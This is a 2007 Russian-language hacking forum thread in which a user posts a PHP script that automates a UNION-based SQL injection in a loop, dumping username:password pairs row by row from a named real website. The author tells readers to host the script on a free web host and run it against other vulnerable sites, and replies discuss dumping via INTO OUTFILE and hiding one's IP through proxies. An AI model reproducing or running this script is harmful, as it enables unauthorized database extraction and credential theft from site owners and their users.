Статьи Слив базы через SQL-inj в цикле

Discussion in 'Статьи' started by Shram-spb, 8 Jul 2007.

  1. Shram-spb

    Shram-spb Member

    Joined:
    6 Jun 2007
    Messages:
    64
    Likes Received:
    42
    Reputations:
    35
    Может было уже, но не нащел, по этому пишу свою статью..

    Дорогой Олл, часто бывает так, что на сайте нельзя вывести всю базу
    сразу, а можно только одной строкой, и далее приходится перебирать
    через limit. Можно ли автоматизировать этот процесс?? Да. Можно.
    И сегодня я вам расскажу, как это сделать!
    Сегодня передо мною стала именна такая проблема и я написал небольшой скриптик для этого..

    Code:
    <?php
    
    $req='http://www.dog.ru/index.php3?mode=5&id=-1+union+select+1,2,3,4,5,concat(char(60,100,97,116,97,62),nick,char(58),passwd,char(60,47,100,97,116,97,62)),7,8,9,10,11,12,13,14+from+users+limit+';
    // char(60,100,97,116,97,62) = <data>
    // char(60,47,100,97,116,97,62) = </data>
    // В итоге из базы вернется такая строка: <data>username:password</data>
    
    
    $tag1='<data>';
    $tag2='</data>';
    // Между какими тегами ищем наши данные
    
    $max=3203;
    // Максимальное число пользователей в базе
    
    error_reporting(0);
    ob_implicit_flush();
    
    echo '<pre>';
    // Открываем цикл
    
    for ($i=0;$i<$max;$i++)
    {
    con ($req.$i.',1/*',$tag1,$tag2);
    }
    echo '</pre>';
    
    // Собственно сама функция
    function con($url,$a1,$a2)
    {
    
    
    // Получаем порт и хост из адреса
    $service_port = getservbyname('www', 'tcp');
    $host=substr($url,7,strpos($url,"/",7)-7);
    $address = gethostbyname($host);
    
    // Создаем сокет
    $socket = socket_create(AF_INET, SOCK_STREAM, 0);
    
    // Коннектимся
    $result = socket_connect($socket, $address, $service_port);
    
    
    switch(socket_select($r = array($socket), $w = array($socket), $f = array($socket), 5))
    {
           case 2:
                   echo "[-] Connection Refused\n";
                   break;
           case 1:
    //               echo "[-] Connected\n";  // Комментируем эту строку, чтобы не отображалась при выводе
                   break;
           case 0:
                   echo "[-] Timeout\n";
                   break;
    }
    
    // Формируем запрос
    
    $in = "GET $url HTTP/1.0\r\n";
    $in .= "Host: $host\r\n";
    $in .= "Connection: Close\r\n\r\n";
    
    // Запрашиваем страницу
    
    socket_write($socket, $in, strlen ($in));
    
    
    $out = '';
    $text='';
    // Получам данные
    while ($out = socket_read($socket, 2048)) {
        $text.=$out;
    }
    socket_close ($socket);
    
    // Ищем в полученной странице наши теги и выводим строку между ними
    echo substr($text,strpos($text,$a1),strpos($text,$a2,strpos($text,$a1))-strpos($text,$a1));
    echo "\n";
    }
    ?>
    
    
    Заливаем этот скриптик куда-нить на narod.ru.

    Далее ищем сайт, уязвимый php-inj, например
    *http://www.ultriplo.com/index.php?page=.php и запускаем скрипт *http:... Спасибо за внимание.. Created by 5hr4M...
     
    4 people like this.
  2. Shram-spb

    Shram-spb Member

    Joined:
    6 Jun 2007
    Messages:
    64
    Likes Received:
    42
    Reputations:
    35
    Что - то я не понял, что я нарушил???
    Если тока, черезчур много кода.. ну уж без него никак.. :(
     
  3. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    а через инто аутфайл никак? да и слить упакованную в архив бд лудше--- или если уж так и сливать то лудше сразу с локали запускать и лить себе -- чет как-то хз помойму не слишком разумный метод делать дамп базы
     
    1 person likes this.
  4. Shram-spb

    Shram-spb Member

    Joined:
    6 Jun 2007
    Messages:
    64
    Likes Received:
    42
    Reputations:
    35
    into outfile тоже не всегда работает.. нет прав записи часто..
    А если лить с локали
    1) Палишь ip
    2) Скорость маленькая
    3) Трафа жрет
    А так скрипт исполняется на другой машине, с которой можно его через proxy запросить..
     
  5. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    1) палишь ip -- а проксю повесить сильно впадлу на себя?
    2) и 3) -- полюбому потом придется лить все это с того сайта на который закачал..........
     
    1 person likes this.
  6. Shram-spb

    Shram-spb Member

    Joined:
    6 Jun 2007
    Messages:
    64
    Likes Received:
    42
    Reputations:
    35
    1) Ну, если переписать немного скрипт, то можно..
    2) Ты хоть разбирался как скрипт работает??
    Объясню.. Он запрашивает с атакуемого сайта страницу, находит в ней нужные данные и выводит их на экран..
    А теперь прикинь какая экономия траффика? Запросить 1000 страниц или скачать 1000 строчек с сайта??? Подумай над этим...
     
    1 person likes this.
  7. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    genom--
    Сам подумал что сказал создай мне запрос что бы выводил в файл всю базу, при условии что выводиться 1 строка.

    Shram-spb
    Реализация прикольная токо можно привинтить что бы не в файл лилось а в бд.
     
  8. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    вообще, это слишком простенько и неинтересно, чтоб посвещать такому скриптику целую статью.. ведь извлекать из базы подобным образом инфу - это тривиальнейшая задача, которую тут, наверно, каждому второму хоть раз приходилось решать..


    >> Реализация прикольная токо можно привинтить что бы не в файл лилось а в бд.

    имхо проще уже потом из файла перекинуть все в БД..